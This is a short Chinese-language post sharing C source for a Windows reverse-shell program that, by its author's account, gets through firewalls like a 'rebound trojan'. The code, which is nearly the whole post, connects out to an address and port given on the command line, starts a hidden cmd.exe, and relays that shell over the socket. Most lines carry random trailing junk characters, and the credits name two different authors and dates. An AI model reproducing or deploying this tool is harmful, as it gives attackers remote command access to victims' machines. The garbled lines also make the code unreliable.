这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u4@e=vWI
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/* ============================== xV#a(>-4
Rebound port in Windows NT zU~..;C
By wind,2006/7 <im<(=m9
===============================*/ -kbm$~P
#include }4SSo)Uv/
#include t1jlxK
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#pragma comment(lib,"wsock32.lib") JtpY][}"~3
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void OutputShell(); /w M
SOCKET sClient; :(>9u.>l?5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B#"|5
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void main(int argc,char **argv) S2E HmE&
{ PuCDsojclh
WSADATA stWsaData; *W12Rb2
int nRet; WEtA4zCO
SOCKADDR_IN stSaiClient,stSaiServer; 8e!DDh
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if(argc != 3) 1?|6odc
{ *Ca)RgM
printf("Useage:\n\rRebound DestIP DestPort\n"); JA(fam~{
return; EWIc|b:
} kQVDC,d
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WSAStartup(MAKEWORD(2,2),&stWsaData); GWhAjL/N
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XcMJD(!
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stSaiClient.sin_family = AF_INET; xwnoZ&h
stSaiClient.sin_port = htons(0); :KSor}t
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^}Qj}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HDVl5X`j'
{ fu<2t$Cn>
printf("Bind Socket Failed!\n"); d:hL
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return; sD8m<
} $[iT~B$
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stSaiServer.sin_family = AF_INET; ^qO=~U!{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZQ~myqx,+L
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^mueFw}\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {Mr~%y4
{ G4Kmt98I
printf("Connect Error!"); D2</^]3Su
return; C`n9/[,#
} 96pk[5lj{?
OutputShell(); rS )b1nPA
} F`0c?)
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void OutputShell() { ^2W>^
{ f{Fe+iPc
char szBuff[1024]; ~r^5-\[hZ
SECURITY_ATTRIBUTES stSecurityAttributes; MJ*]fC3/
OSVERSIONINFO stOsversionInfo; ]hE+$sKd
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6f?BltFaN
STARTUPINFO stStartupInfo; 7q!yCU
char *szShell; P:(EU s}0
PROCESS_INFORMATION stProcessInformation; .L7Yf+yFg
unsigned long lBytesRead; Z-SwJtWk
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;wXY3|@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NdsX*o@a
stSecurityAttributes.lpSecurityDescriptor = 0; ?orh JS
stSecurityAttributes.bInheritHandle = TRUE; /*AJr
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3X$Q,
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /&$"}Z6z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fkcx+d
stStartupInfo.wShowWindow = SW_HIDE; Jf?S9r5 Q
stStartupInfo.hStdInput = hReadPipe; C NfJ:e2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [Iw>|q<e
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GetVersionEx(&stOsversionInfo); e)HhnN@
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switch(stOsversionInfo.dwPlatformId) ]Y4q'KH
{ 9 $o <
case 1: EK?@Z.q+
szShell = "command.com"; f4'El2>-86
break; v`S2M
default: }A1|jY)x
szShell = "cmd.exe"; .QXG"R
break; >'aG/(
} JG@L5f
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WVS$O99Y
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send(sClient,szMsg,77,0); 0{?:FQ#
while(1) <E>7>ZL
{ d&[iEU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ZT) !8
if(lBytesRead) ]6{(Hjt
{ &so-O90
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7~wFU*P1
send(sClient,szBuff,lBytesRead,0); 5zNSEI"PY
} 5^i.;>(b
else ,<@,gZru
{ `]`=]*d
lBytesRead=recv(sClient,szBuff,1024,0); M=5d95*-}
if(lBytesRead<=0) break; =U4f}W;
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =oE_.ux\
} 5LQk8NPh
} JFkN=YR8
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return; *.,"N}
}